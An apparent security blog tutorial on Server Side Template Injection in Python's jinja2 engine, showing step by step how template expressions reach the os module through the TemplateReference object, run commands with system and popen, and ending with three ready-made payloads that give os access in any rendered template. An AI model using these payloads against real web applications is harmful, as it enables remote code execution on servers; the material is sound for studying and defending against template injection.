Python vulnerabilities : Code execution in jinja templates
Introduction
Some time ago I presented an article on format string vulnerabilities in Python in which I explained the dangers of format strings, if they are misused. Today I’m going to present a fairly similar vulnerability, allowing code execution in the templates of the jinja module. This type of behavior is very useful for exploiting Server Side Template Injection (SSTI) vulnerabilities.
The jinja2 template engine
The jinja2 template engine allows you to generate documents (strings, web pages …) from templates. This greatly simplifies the code and saves time. For example for a website, instead of writing the header block
<head>
in all the pages, we can create a single
head.jinja2
template that will be included in all the pages. So when it is necessary to modify the content of the header, there will only be one file to modify.
Here is an example of a jinja2 template:
<!DOCTYPE html>
<html lang="en">
<head>
<title>My Webpage</title>
<link rel="stylesheet" href="/css/main.css">
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
</ul>
<h1>My Webpage</h1>
{{ a_variable }}
{# a comment #}
</body>
</html>
Template object of jinja2
In the jinja2 engine, templates are created from the Template object of the module. Thanks to this type of object, we can create templates very easily, in the same way as format strings:
>>> from jinja2 import Template
>>> msg = Template("My name is {{ name }}").render(name="John Doe")
>>> print(msg)
'My name is John Doe'
When we generate the string with
.render(...)
the jinja2 engine uses the
name=
object passed as a parameter and replaces it in the
{{ name }}
location of the template which gives us the result
'My name is John Doe'
.
Execution of commands
In Python, format strings allow us to access the properties of objects, but not to call the methods of these. In the
jinja2
engine, we can execute functions specific to objects passed as parameters. Let’s take an example:
>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ s.upper() }}").render(s="thisisastring")
>>> print(msg)
'My name is THISISASTRING'
Similarly, we can run commands if we have access to the
os
module from the
jinja2
Template:
>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ module.system('id') }}").render(module=os)
uid=1000(user) gid=1000(user) groups=1000(user)
>>> print(msg)
'My name is 0'
In the example above, we import the
os
and
jinja2
modules and then we create a template. The template contains
{{ module.system('id') }}
allowing to call a function of the module used (here
os
). When rendering the template,
os.system('id')
is executed.
The TemplateReference object
In jinja2 templates, we can use the
TemplateReference
object to reuse code blocks from the template. For example, to avoid rewriting the title all over the template, we can set the title in a block
{% block title%}
and retrieve it with
{{ self.title() }}
later on:
>>> msg = jinja2.Template("""
... <title>{% block title %}This is a title{% endblock %}</title>
... <h1>{{ self.title() }}</h1>
... """).render()
>>> print(msg)
<title>This is a title</title>
<h1>This is a title</h1>
>>>
We can access the
TemplateReference
object without conditions, even without any variables supplied in the
render()
:
>>> jinja2.Template("My name is {{ self }}").render()
'My name is <TemplateReference None>'
>>>
We will therefore start from the
TemplateReference
object to build a payload allowing to access the
os
module.
Building a classic payload
A very classic idea is to use the
TemplateReference
object to access the
__builtins__
and use the
__import__
function to import the module we want directly. To do this, we must first go back to
__globals__
using the classic
self .__ init __.__ globals__
path:
>>> jinja2.Template("My name is {{ self.__init__.__globals__ }}").render()
By doing this, we get a
dict
containing all the global variables:
In the
__globals__
, we can access Python’s
__builtins__
functions. This set of functions is included natively in Python without the need for external libraries, and notably contains the
__import__
function. So we can use it directly to import the
os
module like this:
>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is 0\n'
Here the
system
function of the
os
module allows us to check that we can execute commands, but the result of the command is not reflected in the generated template (only the return code is shown). To return the result of the command, we need to use
os.popen(command).read()
like this:
>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is uid=1000(user) gid=1000(user) groups=1000(user)\n'
And we can now run system commands from a jinja template!
A context-independent payload
The problem with the previous method is that
__builtins__
are often restricted or filtered. So we have to try to find a module where
os
is already imported, and try to access it. In the source of the
jinja2
module, we see that the
os
module is imported into the
utils.py
file, (So the
os
module is accessible at
jinja2.utils.os
). We can confirm it very simply:
>>> import jinja2
>>> jinja2.utils.os
<module 'os' from '/usr/lib/python3.8/os.py'>
>>>
If we go back to our
TemplateReference
object presented above, we can find a very interesting internal attribute,
_TemplateReference__context
. This attribute is very interesting because it allows access to three variables
cycler
,
joiner
and
namespace
all present in the
utils.py
file where the
os
module is also imported.
>>> jinja2.Template("My name is {{ e(self._TemplateReference__context) }}").render(e=lambda x:vars(x))
"My name is {'parent': {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7f62df526940>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'e': <function <lambda> at 0x7f62de305790>}, 'vars': {}, 'environment': <jinja2.environment.Environment object at 0x7f62dfded040>, 'eval_ctx': <jinja2.nodes.EvalContext object at 0x7f62de22b760>, 'exported_vars': set(), 'name': None, 'blocks': {}}"
Once we get to the right submodule, all we have to do is go back to the
__globals__
to directly access the
os
module:
>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>> jinja2.Template("My name is {{ self._TemplateReference__context.joiner.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>> jinja2.Template("My name is {{ self._TemplateReference__context.namespace.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>>
Here are 3 context-independent payloads, always allowing access to the
os
module in a template rendered by the jinja2 engine:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
References
- https://github.com/pallets/jinja
- https://zetcode.com/python/jinja/
- https://jinja.palletsprojects.com/en/3.0.x/
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://0day.work/jinja2-template-injection-filter-bypasses/
- https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f